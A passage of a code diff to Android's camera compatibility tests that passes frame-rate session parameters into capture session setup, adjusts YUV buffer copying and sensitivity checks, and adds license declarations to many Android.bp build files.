+                        blockingStartPreview(id, resultListener, previewRequest, imageListener);
                         previewStartedTimeMs = SystemClock.elapsedRealtime();
                         startPreviewTimes[i] = previewStartedTimeMs - configureTimeMs;
                         cameraLaunchTimes[i] = previewStartedTimeMs - startTimeMs;
@@ -378,7 +384,7 @@
                         imageListeners[j] = new SimpleImageListener();
                     }
 
-                    readers = prepareStillCaptureAndStartPreview(previewBuilder, captureBuilder,
+                    readers = prepareStillCaptureAndStartPreview(id, previewBuilder, captureBuilder,
                             mTestRule.getOrderedPreviewSizes().get(0), imageSizes, formats,
                             previewResultListener, NUM_MAX_IMAGES, imageListeners,
                             false /*isHeic*/);
@@ -543,10 +549,12 @@
             double[] getResultTimes = new double[NUM_MAX_IMAGES];
             double[] frameDurationMs = new double[NUM_MAX_IMAGES-1];
             try {
-                if (!mTestRule.getAllStaticInfo().get(id).isColorOutputSupported()) {
+                StaticMetadata staticMetadata = mTestRule.getAllStaticInfo().get(id);
+                if (!staticMetadata.isColorOutputSupported()) {
                     Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
                     continue;
                 }
+                boolean useSessionKeys = isFpsRangeASessionKey(staticMetadata.getCharacteristics());
 
                 mTestRule.openDevice(id);
                 for (int i = 0; i < NUM_TEST_LOOPS; i++) {
@@ -586,7 +594,8 @@
                     prepareCaptureAndStartPreview(previewBuilder, captureBuilder,
                             mTestRule.getOrderedPreviewSizes().get(0), maxYuvSize,
                             ImageFormat.YUV_420_888, previewResultListener,
-                            sessionListener, NUM_MAX_IMAGES, imageListener);
+                            sessionListener, NUM_MAX_IMAGES, imageListener,
+                            useSessionKeys);
 
                     // Converge AE
                     CameraTestUtils.waitForAeStable(previewResultListener,
@@ -1151,28 +1160,20 @@
                 BlockingSessionCallback.SESSION_CLOSED, CameraTestUtils.SESSION_CLOSE_TIMEOUT_MS);
     }
 
-    private void blockingStartPreview(CaptureCallback listener, SimpleImageListener imageListener)
+    private void blockingStartPreview(String id, CaptureCallback listener,
+            CaptureRequest previewRequest, SimpleImageListener imageListener)
             throws Exception {
-        if (mPreviewSurface == null || mTestRule.getReaderSurface() == null) {
-            throw new IllegalStateException("preview and reader surface must be initilized first");
-        }
-
-        CaptureRequest.Builder previewBuilder =
-                mTestRule.getCamera().createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
-        if (mTestRule.getStaticInfo().isColorOutputSupported()) {
-            previewBuilder.addTarget(mPreviewSurface);
-        }
-        previewBuilder.addTarget(mTestRule.getReaderSurface());
         mTestRule.getCameraSession().setRepeatingRequest(
-                previewBuilder.build(), listener, mTestRule.getHandler());
+                previewRequest, listener, mTestRule.getHandler());
         imageListener.waitForImageAvailable(CameraTestUtils.CAPTURE_IMAGE_TIMEOUT_MS);
     }
 
     /**
      * Setup still capture configuration and start preview.
      *
-     * @param previewRequest The capture request to be used for preview
-     * @param stillRequest The capture request to be used for still capture
+     * @param id The camera id under test
+     * @param previewBuilder The capture request builder to be used for preview
+     * @param stillBuilder The capture request builder to be used for still capture
      * @param previewSz Preview size
      * @param captureSizes Still capture sizes
      * @param formats The single capture image formats
@@ -1181,8 +1182,8 @@
      * @param imageListeners The single capture capture image listeners
      * @param isHeic Capture HEIC image if true, JPEG image if false
      */
-    private ImageReader[] prepareStillCaptureAndStartPreview(
-            CaptureRequest.Builder previewRequest, CaptureRequest.Builder stillRequest,
+    private ImageReader[] prepareStillCaptureAndStartPreview(String id,
+            CaptureRequest.Builder previewBuilder, CaptureRequest.Builder stillBuilder,
             Size previewSz, Size[] captureSizes, int[] formats, CaptureCallback resultListener,
             int maxNumImages, ImageReader.OnImageAvailableListener[] imageListeners,
             boolean isHeic)
@@ -1211,30 +1212,71 @@
             outputSurfaces.add(readers[i].getSurface());
         }
 
-        mTestRule.setCameraSessionListener(new BlockingSessionCallback());
-        mTestRule.setCameraSession(CameraTestUtils.configureCameraSession(
-                mTestRule.getCamera(), outputSurfaces,
-                mTestRule.getCameraSessionListener(), mTestRule.getHandler()));
-
         // Configure the requests.
-        previewRequest.addTarget(mPreviewSurface);
-        stillRequest.addTarget(mPreviewSurface);
+        previewBuilder.addTarget(mPreviewSurface);
+        stillBuilder.addTarget(mPreviewSurface);
         for (int i = 0; i < readers.length; i++) {
-            stillRequest.addTarget(readers[i].getSurface());
+            stillBuilder.addTarget(readers[i].getSurface());
         }
 
+        // Update target fps based on the min frame duration of preview.
+        CameraCharacteristics ch = mTestRule.getStaticInfo().getCharacteristics();
+        StreamConfigurationMap config = ch.get(
+                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+        long minFrameDuration = Math.max(FRAME_DURATION_NS_30FPS, config.getOutputMinFrameDuration(
+                SurfaceTexture.class, previewSz));
+        Range<Integer> targetRange =
+                CameraTestUtils.getSuitableFpsRangeForDuration(id,
+                minFrameDuration, mTestRule.getStaticInfo());
+        previewBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
+        stillBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
+
+        CaptureRequest previewRequest = previewBuilder.build();
+        mTestRule.setCameraSessionListener(new BlockingSessionCallback());
+        boolean useSessionKeys = isFpsRangeASessionKey(ch);
+        configureAndSetCameraSession(outputSurfaces, useSessionKeys, previewRequest);
+
         // Start preview.
         mTestRule.getCameraSession().setRepeatingRequest(
-                previewRequest.build(), resultListener, mTestRule.getHandler());
+                previewRequest, resultListener, mTestRule.getHandler());
 
         return readers;
     }
 
     /**
+     * Helper function to check if TARGET_FPS_RANGE is a session parameter
+     */
+    private boolean isFpsRangeASessionKey(CameraCharacteristics ch) {
+        List<CaptureRequest.Key<?>> sessionKeys = ch.getAvailableSessionKeys();
+        return sessionKeys != null &&
+                sessionKeys.contains(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE);
+    }
+
+    /**
+     * Helper function to configure camera session using parameters provided.
+     */
+    private void configureAndSetCameraSession(List<Surface> surfaces,
+            boolean useInitialRequest, CaptureRequest initialRequest)
+            throws CameraAccessException {
+        CameraCaptureSession cameraSession;
+        if (useInitialRequest) {
+            cameraSession = CameraTestUtils.configureCameraSessionWithParameters(
+                mTestRule.getCamera(), surfaces,
+                mTestRule.getCameraSessionListener(), mTestRule.getHandler(),
+                initialRequest);
+        } else {
+            cameraSession = CameraTestUtils.configureCameraSession(
+                mTestRule.getCamera(), surfaces,
+                mTestRule.getCameraSessionListener(), mTestRule.getHandler());
+        }
+        mTestRule.setCameraSession(cameraSession);
+    }
+
+    /**
      * Setup single capture configuration and start preview.
      *
-     * @param previewRequest The capture request to be used for preview
-     * @param stillRequest The capture request to be used for still capture
+     * @param previewBuilder The capture request builder to be used for preview
+     * @param stillBuilder The capture request builder to be used for still capture
      * @param previewSz Preview size
      * @param captureSz Still capture size
      * @param format The single capture image format
@@ -1242,11 +1284,13 @@
      * @param sessionListener Session listener
      * @param maxNumImages The max number of images set to the image reader
      * @param imageListener The single capture capture image listener
+     * @param useSessionKeys Create capture session using session keys from previewRequest
      */
-    private void prepareCaptureAndStartPreview(CaptureRequest.Builder previewRequest,
-            CaptureRequest.Builder stillRequest, Size previewSz, Size captureSz, int format,
+    private void prepareCaptureAndStartPreview(CaptureRequest.Builder previewBuilder,
+            CaptureRequest.Builder stillBuilder, Size previewSz, Size captureSz, int format,
             CaptureCallback resultListener, CameraCaptureSession.StateCallback sessionListener,
-            int maxNumImages, ImageReader.OnImageAvailableListener imageListener) throws Exception {
+            int maxNumImages, ImageReader.OnImageAvailableListener imageListener,
+            boolean  useSessionKeys) throws Exception {
         if ((captureSz == null) || (imageListener == null)) {
             throw new IllegalArgumentException("Invalid capture size or image listener!");
         }
@@ -1271,18 +1315,18 @@
         } else {
             mTestRule.setCameraSessionListener(new BlockingSessionCallback(sessionListener));
         }
-        mTestRule.setCameraSession(CameraTestUtils.configureCameraSession(
-                mTestRule.getCamera(), outputSurfaces,
-                mTestRule.getCameraSessionListener(), mTestRule.getHandler()));
 
         // Configure the requests.
-        previewRequest.addTarget(mPreviewSurface);
-        stillRequest.addTarget(mPreviewSurface);
-        stillRequest.addTarget(mTestRule.getReaderSurface());
+        previewBuilder.addTarget(mPreviewSurface);
+        stillBuilder.addTarget(mPreviewSurface);
+        stillBuilder.addTarget(mTestRule.getReaderSurface());
+        CaptureRequest previewRequest = previewBuilder.build();
+
+        configureAndSetCameraSession(outputSurfaces, useSessionKeys, previewRequest);
 
         // Start preview.
         mTestRule.getCameraSession().setRepeatingRequest(
-                previewRequest.build(), resultListener, mTestRule.getHandler());
+                previewRequest, resultListener, mTestRule.getHandler());
     }
 
     /**
@@ -1361,20 +1405,51 @@
 
     /**
      * Configure reader and preview outputs and wait until done.
+     *
+     * @return The preview capture request
      */
-    private void configureReaderAndPreviewOutputs() throws Exception {
+    private CaptureRequest configureReaderAndPreviewOutputs(
+            String id, boolean isColorOutputSupported)
+            throws Exception {
         if (mPreviewSurface == null || mTestRule.getReaderSurface() == null) {
             throw new IllegalStateException("preview and reader surface must be initilized first");
         }
-        mTestRule.setCameraSessionListener(new BlockingSessionCallback());
-        List<Surface> outputSurfaces = new ArrayList<>();
-        if (mTestRule.getStaticInfo().isColorOutputSupported()) {
-            outputSurfaces.add(mPreviewSurface);
+
+        // Create previewBuilder
+        CaptureRequest.Builder previewBuilder =
+                mTestRule.getCamera().createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+        if (isColorOutputSupported) {
+            previewBuilder.addTarget(mPreviewSurface);
         }
+        previewBuilder.addTarget(mTestRule.getReaderSurface());
+
+
+        // Figure out constant target FPS range no larger than 30fps
+        CameraCharacteristics ch = mTestRule.getStaticInfo().getCharacteristics();
+        StreamConfigurationMap config =
+                ch.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+        long minFrameDuration = Math.max(FRAME_DURATION_NS_30FPS,
+                config.getOutputMinFrameDuration(mImageReaderFormat, mPreviewSize));
+
+        List<Surface> outputSurfaces = new ArrayList<>();
         outputSurfaces.add(mTestRule.getReaderSurface());
-        mTestRule.setCameraSession(CameraTestUtils.configureCameraSession(
-                mTestRule.getCamera(), outputSurfaces,
-                mTestRule.getCameraSessionListener(), mTestRule.getHandler()));
+        if (isColorOutputSupported) {
+            outputSurfaces.add(mPreviewSurface);
+            minFrameDuration = Math.max(minFrameDuration,
+                    config.getOutputMinFrameDuration(SurfaceTexture.class, mPreviewSize));
+        }
+        Range<Integer> targetRange =
+                CameraTestUtils.getSuitableFpsRangeForDuration(id,
+                        minFrameDuration, mTestRule.getStaticInfo());
+        previewBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
+
+        // Create capture session
+        boolean useSessionKeys = isFpsRangeASessionKey(ch);
+        CaptureRequest previewRequest = previewBuilder.build();
+        mTestRule.setCameraSessionListener(new BlockingSessionCallback());
+        configureAndSetCameraSession(outputSurfaces, useSessionKeys, previewRequest);
+
+        return previewRequest;
     }
 
     /**
@@ -1387,10 +1462,11 @@
                 cameraId, mTestRule.getCameraManager(), format,
                 CameraTestUtils.getPreviewSizeBound(mTestRule.getWindowManager(),
                         CameraTestUtils.PREVIEW_SIZE_BOUND)));
-        Size maxPreviewSize = mTestRule.getOrderedPreviewSizes().get(0);
+        mPreviewSize = mTestRule.getOrderedPreviewSizes().get(0);
+        mImageReaderFormat = format;
         mTestRule.createDefaultImageReader(
-                maxPreviewSize, format, NUM_MAX_IMAGES, /*listener*/null);
-        updatePreviewSurface(maxPreviewSize);
+                mPreviewSize, format, NUM_MAX_IMAGES, /*listener*/null);
+        updatePreviewSurface(mPreviewSize);
     }
 
     private void simpleOpenCamera(String cameraId) throws Exception {
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 3a57e6e..973131c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -1153,7 +1153,7 @@
 
             // Stop recording and preview
             stopRecording(/* useMediaRecorder */true, useIntermediateSurface,
-                    /* stopCameraStreaming */false);
+                    /* stopCameraStreaming */true);
             // Convert number of frames camera produced into the duration in unit of ms.
             float frameDurationMs = 1000.0f / profile.videoFrameRate;
             float durationMs = 0.f;
@@ -1838,8 +1838,20 @@
         sharedConfig.addSurface(mRecordingSurface);
         outputConfigs.add(sharedConfig);
 
+        CaptureRequest.Builder recordingRequestBuilder =
+                mCamera.createCaptureRequest(CameraDevice.TEMPLATE_RECORD);
+        // Make sure camera output frame rate is set to correct value.
+        Range<Integer> fpsRange = (variableFpsRange == null) ?
+                Range.create(mVideoFrameRate, mVideoFrameRate) : variableFpsRange;
+        recordingRequestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, fpsRange);
+        if (useVideoStab) {
+            recordingRequestBuilder.set(CaptureRequest.CONTROL_VIDEO_STABILIZATION_MODE,
+                    CaptureRequest.CONTROL_VIDEO_STABILIZATION_MODE_ON);
+        }
+        CaptureRequest recordingRequest = recordingRequestBuilder.build();
+
         mSessionListener = new BlockingSessionCallback();
-        mSession = tryConfigureCameraSessionWithConfig(mCamera, outputConfigs,
+        mSession = tryConfigureCameraSessionWithConfig(mCamera, outputConfigs, recordingRequest,
                 mSessionListener, mHandler);
 
         if (mSession == null) {
@@ -1847,17 +1859,6 @@
             return false;
         }
 
-        CaptureRequest.Builder recordingRequestBuilder =
-                mCamera.createCaptureRequest(CameraDevice.TEMPLATE_RECORD);
-        // Make sure camera output frame rate is set to correct value.
-        Range<Integer> fpsRange = (variableFpsRange == null) ?
-                Range.create(mVideoFrameRate, mVideoFrameRate) : variableFpsRange;
-
-        recordingRequestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, fpsRange);
-        if (useVideoStab) {
-            recordingRequestBuilder.set(CaptureRequest.CONTROL_VIDEO_STABILIZATION_MODE,
-                    CaptureRequest.CONTROL_VIDEO_STABILIZATION_MODE_ON);
-        }
         recordingRequestBuilder.addTarget(mRecordingSurface);
         recordingRequestBuilder.addTarget(mPreviewSurface);
         mSession.setRepeatingRequest(recordingRequestBuilder.build(), listener, mHandler);
diff --git a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
index ad41f9a..88f2710 100644
--- a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
@@ -278,38 +278,6 @@
                 timeout(PREPARE_TIMEOUT_MS).times(1)).
                 onSurfacePrepared(eq(mSession), eq(mReaderSurface));
 
-        // Calculate frame rate during prepare
-
-        int resultsReceived = (int) resultListener.getTotalNumFrames();
-        if (resultsReceived > 2) {
-            // Only verify frame rate if there are a couple of results
-            Pair<Long, Long> whilePreparingFrameDurationStats =
-                    measureMeanFrameInterval(resultListener, resultsReceived, /*prevTimestamp*/ 0);
-
-            Log.i(TAG, String.format("Frame interval during prepare avg: %f ms, peak %f ms",
-                            whilePreparingFrameDurationStats.first / 1e6,
-                            whilePreparingFrameDurationStats.second / 1e6));
-
-            if (mStaticInfo.isHardwareLevelAtLeastLimited()) {
-                mCollector.expectTrue(
-                    String.format("Camera %s: Preview peak frame interval affected by prepare " +
-                            "call: preview avg frame duration: %f ms, peak during prepare: %f ms",
-                            cameraId,
-                            frameDurationStats.first / 1e6,
-                            whilePreparingFrameDurationStats.second / 1e6),
-                    (whilePreparingFrameDurationStats.second <=
-                            frameDurationStats.first * (1 + PREPARE_PEAK_RATE_BOUNDS)));
-                mCollector.expectTrue(
-                    String.format("Camera %s: Preview average frame interval affected by prepare " +
-                            "call: preview avg frame duration: %f ms, during prepare: %f ms",
-                            cameraId,
-                            frameDurationStats.first / 1e6,
-                            whilePreparingFrameDurationStats.first / 1e6),
-                    (whilePreparingFrameDurationStats.first <=
-                            frameDurationStats.first * (1 + PREPARE_FRAME_RATE_BOUNDS)));
-            }
-        }
-
         resultListener.drain();
 
         // Get at least one more preview result without prepared target
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index 85c05cd..cedf82c 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -1939,7 +1939,7 @@
     @UiThreadTest
     @Test
     public void testMultipleCameras() throws Exception {
-        if (CameraUtils.mOverrideCameraId != null) {
+        if (CameraUtils.getOverrideCameraId() != null) {
             // A single camera is being tested. Skip.
             return;
         }
@@ -2564,7 +2564,7 @@
     @UiThreadTest
     @Test
     public void testMultiCameraRelease() throws Exception {
-        if (CameraUtils.mOverrideCameraId != null) {
+        if (CameraUtils.getOverrideCameraId() != null) {
             // A single camera is being tested. Skip.
             return;
         }
diff --git a/tests/camera/utils/Android.bp b/tests/camera/utils/Android.bp
index 4309a28..403c114 100644
--- a/tests/camera/utils/Android.bp
+++ b/tests/camera/utils/Android.bp
@@ -14,6 +14,10 @@
 
 // CtsCameraUtils package
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "CtsCameraUtils",
 
@@ -31,4 +35,3 @@
     defaults: ["cts_error_prone_rules_tests"],
 
 }
-
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index c0f97b8..6737b54 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -1078,14 +1078,19 @@
      *
      * @param camera The CameraDevice to be configured.
      * @param outputs The OutputConfiguration list that is used for camera output.
+     * @param initialRequest The session parameters passed in during stream configuration
      * @param listener The callback CameraDevice will notify when capture results are available.
      */
     public static CameraCaptureSession tryConfigureCameraSessionWithConfig(CameraDevice camera,
-            List<OutputConfiguration> outputs,
+            List<OutputConfiguration> outputs, CaptureRequest initialRequest,
             CameraCaptureSession.StateCallback listener, Handler handler)
             throws CameraAccessException {
         BlockingSessionCallback sessionListener = new BlockingSessionCallback(listener);
-        camera.createCaptureSessionByOutputConfigurations(outputs, sessionListener, handler);
+        SessionConfiguration sessionConfig = new SessionConfiguration(
+                SessionConfiguration.SESSION_REGULAR, outputs, new HandlerExecutor(handler),
+                sessionListener);
+        sessionConfig.setSessionParameters(initialRequest);
+        camera.createCaptureSession(sessionConfig);
 
         Integer[] sessionStates = {BlockingSessionCallback.SESSION_READY,
                                    BlockingSessionCallback.SESSION_CONFIGURE_FAILED};
@@ -2237,7 +2242,8 @@
                         " is not supported");
             }
 
-            if (srcRowStride == dstRowStride && srcPixStride == dstPixStride) {
+            if (srcRowStride == dstRowStride && srcPixStride == dstPixStride &&
+                    srcPixStride == 1) {
                 // Fast path, just copy the content in the byteBuffer all together.
                 dstBuffer.put(srcBuffer);
             } else {
@@ -2246,7 +2252,7 @@
                 int dstRowByteCount = dstRowStride;
                 byte[] srcDataRow = new byte[Math.max(srcRowStride, dstRowStride)];
 
-                if (srcPixStride == dstPixStride) {
+                if (srcPixStride == dstPixStride && srcPixStride == 1) {
                     // Row by row copy case
                     for (int row = 0; row < effectivePlaneSize.getHeight(); row++) {
                         if (row == effectivePlaneSize.getHeight() - 1) {
@@ -2379,10 +2385,12 @@
             rhsBuffer = rhsPlanes[i].getBuffer();
             lhsBuffer.rewind();
             rhsBuffer.rewind();
-            // Special case for YUV420_888 buffer with different layout
+            // Special case for YUV420_888 buffer with different layout or
+            // potentially differently interleaved U/V planes.
             if (lhsImg.getFormat() == ImageFormat.YUV_420_888 &&
                     (lhsPlanes[i].getPixelStride() != rhsPlanes[i].getPixelStride() ||
-                     lhsPlanes[i].getRowStride() != rhsPlanes[i].getRowStride())) {
+                     lhsPlanes[i].getRowStride() != rhsPlanes[i].getRowStride() ||
+                     (lhsPlanes[i].getPixelStride() != 1))) {
                 int width = getEffectivePlaneSizeForImage(lhsImg, i).getWidth();
                 int height = getEffectivePlaneSizeForImage(lhsImg, i).getHeight();
                 int rowSizeL = lhsPlanes[i].getRowStride();
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index a05af2a..bf4397c 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -940,8 +940,8 @@
      * @return Sensitivity value in legal range.
      */
     public int getSensitivityClampToRange(int sensitivity) {
-        int minSensitivity = getSensitivityMinimumOrDefault(Integer.MAX_VALUE);
-        int maxSensitivity = getSensitivityMaximumOrDefault(Integer.MIN_VALUE);
+        int minSensitivity = getSensitivityMinimumOrDefault();
+        int maxSensitivity = getSensitivityMaximumOrDefault();
         if (minSensitivity > SENSOR_INFO_SENSITIVITY_RANGE_MIN_AT_MOST) {
             failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
                     String.format(
@@ -1041,11 +1041,13 @@
      * @return The value reported by the camera device or the defaultValue otherwise.
      */
     public int getSensitivityMinimumOrDefault(int defaultValue) {
-        Range<Integer> range = getValueFromKeyNonNull(
+        Range<Integer> range = mCharacteristics.get(
                 CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE);
         if (range == null) {
-            failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
-                    "had no valid minimum value; using default of " + defaultValue);
+            if (isHardwareLevelAtLeastFull()) {
+                failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
+                        "had no valid minimum value; using default of " + defaultValue);
+            }
             return defaultValue;
         }
         return range.getLower();
@@ -1074,11 +1076,13 @@
      * @return The value reported by the camera device or the defaultValue otherwise.
      */
     public int getSensitivityMaximumOrDefault(int defaultValue) {
-        Range<Integer> range = getValueFromKeyNonNull(
+        Range<Integer> range = mCharacteristics.get(
                 CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE);
         if (range == null) {
-            failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
-                    "had no valid maximum value; using default of " + defaultValue);
+            if (isHardwareLevelAtLeastFull()) {
+                failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
+                        "had no valid maximum value; using default of " + defaultValue);
+            }
             return defaultValue;
         }
         return range.getUpper();
diff --git a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
index a5104e3..05d43b7 100644
--- a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
+++ b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
@@ -36,9 +36,6 @@
 public class CameraUtils {
     private static final float FOCAL_LENGTH_TOLERANCE = .01f;
 
-    private static final String CAMERA_ID_INSTR_ARG_KEY = "camera-id";
-    private static final Bundle mBundle = InstrumentationRegistry.getArguments();
-    public static final String mOverrideCameraId = mBundle.getString(CAMERA_ID_INSTR_ARG_KEY);
 
     /**
      * Returns {@code true} if this device only supports {@code LEGACY} mode operation in the
@@ -84,6 +81,11 @@
         Integer facing = ch.get(CameraCharacteristics.LENS_FACING);
         switch (facing.intValue()) {
             case CameraMetadata.LENS_FACING_EXTERNAL:
+                if (info.facing != Camera.CameraInfo.CAMERA_FACING_FRONT &&
+                    info.facing != Camera.CameraInfo.CAMERA_FACING_BACK) {
+                    return false;
+                }
+                break;
             case CameraMetadata.LENS_FACING_FRONT:
                 if (info.facing != Camera.CameraInfo.CAMERA_FACING_FRONT) {
                     return false;
@@ -168,7 +170,7 @@
             }
         }
 
-        String [] cameraIdList = manager.getCameraIdListNoLazy();
+        String [] cameraIdList = manager.getCameraIdList();
         CameraCharacteristics characteristics =
                 manager.getCameraCharacteristics(cameraIdList[cameraId]);
 
@@ -218,13 +220,19 @@
         }
     }
 
+    public static String getOverrideCameraId() {
+        Bundle bundle = InstrumentationRegistry.getArguments();
+        return bundle.getString("camera-id");
+    }
+
     public static int[] deriveCameraIdsUnderTest() throws Exception {
+        String overrideId = getOverrideCameraId();
         int numberOfCameras = Camera.getNumberOfCameras();
         int[] cameraIds;
-        if (mOverrideCameraId == null) {
+        if (overrideId == null) {
             cameraIds = IntStream.range(0, numberOfCameras).toArray();
         } else {
-            int overrideCameraId = Integer.parseInt(mOverrideCameraId);
+            int overrideCameraId = Integer.parseInt(overrideId);
             if (overrideCameraId >= 0 && overrideCameraId < numberOfCameras) {
                 cameraIds = new int[]{overrideCameraId};
             } else {
diff --git a/tests/contentcaptureservice/Android.bp b/tests/contentcaptureservice/Android.bp
index 83f5cab..6cc972d 100644
--- a/tests/contentcaptureservice/Android.bp
+++ b/tests/contentcaptureservice/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsContentCaptureServiceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp b/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp
index 02188bc..3d31903 100644
--- a/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp
+++ b/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsOutsideOfPackageActivity",
     defaults: ["cts_defaults"],
diff --git a/tests/contentsuggestions/Android.bp b/tests/contentsuggestions/Android.bp
index cc285ea..4f55874 100644
--- a/tests/contentsuggestions/Android.bp
+++ b/tests/contentsuggestions/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsContentSuggestionsTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/controls/Android.bp b/tests/controls/Android.bp
index 4b6c4ab..ce8f00e 100644
--- a/tests/controls/Android.bp
+++ b/tests/controls/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsControlsDeviceTestCases",
     defaults: ["cts_defaults"],
@@ -36,4 +40,4 @@
 
     srcs: ["src/**/*.java"],
     sdk_version: "test_current",
-}
\ No newline at end of file
+}
diff --git a/tests/core/runner-axt/Android.bp b/tests/core/runner-axt/Android.bp
index af2a835..b5ae781 100644
--- a/tests/core/runner-axt/Android.bp
+++ b/tests/core/runner-axt/Android.bp
@@ -18,6 +18,10 @@
 
 // temporary cts-core-test-runner variant that brings in androidx.test transitively, instead
 // of android.support.test target. Will be removed after androidx.test CTS conversion is complete.
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "cts-core-test-runner-axt",
 
diff --git a/tests/filesystem/Android.bp b/tests/filesystem/Android.bp
index 7294c91..beac115 100644
--- a/tests/filesystem/Android.bp
+++ b/tests/filesystem/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsFileSystemTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/fragment/Android.bp b/tests/fragment/Android.bp
index ee2fdde..15e9af9 100644
--- a/tests/fragment/Android.bp
+++ b/tests/fragment/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsFragmentTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/fragment/sdk26/Android.bp b/tests/fragment/sdk26/Android.bp
index 69ac907..7408302 100644
--- a/tests/fragment/sdk26/Android.bp
+++ b/tests/fragment/sdk26/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsFragmentTestCasesSdk26",
     defaults: ["cts_defaults"],
diff --git a/tests/framework/base/windowmanager/Android.bp b/tests/framework/base/windowmanager/Android.bp
index 64710de..9568ff5 100644
--- a/tests/framework/base/windowmanager/Android.bp
+++ b/tests/framework/base/windowmanager/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 filegroup {
     name: "cts-wm-components",
     srcs: ["**/Components.java"],
diff --git a/tests/framework/base/windowmanager/alertwindowapp/Android.bp b/tests/framework/base/windowmanager/alertwindowapp/Android.bp
index f264f40..6a3ecc7 100644
--- a/tests/framework/base/windowmanager/alertwindowapp/Android.bp
+++ b/tests/framework/base/windowmanager/alertwindowapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDeviceAlertWindowTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/framework/base/windowmanager/alertwindowappsdk25/Android.bp b/tests/framework/base/windowmanager/alertwindowappsdk25/Android.bp
index 62fa41c..9fbd5d1 100644
--- a/tests/framework/base/windowmanager/alertwindowappsdk25/Android.bp
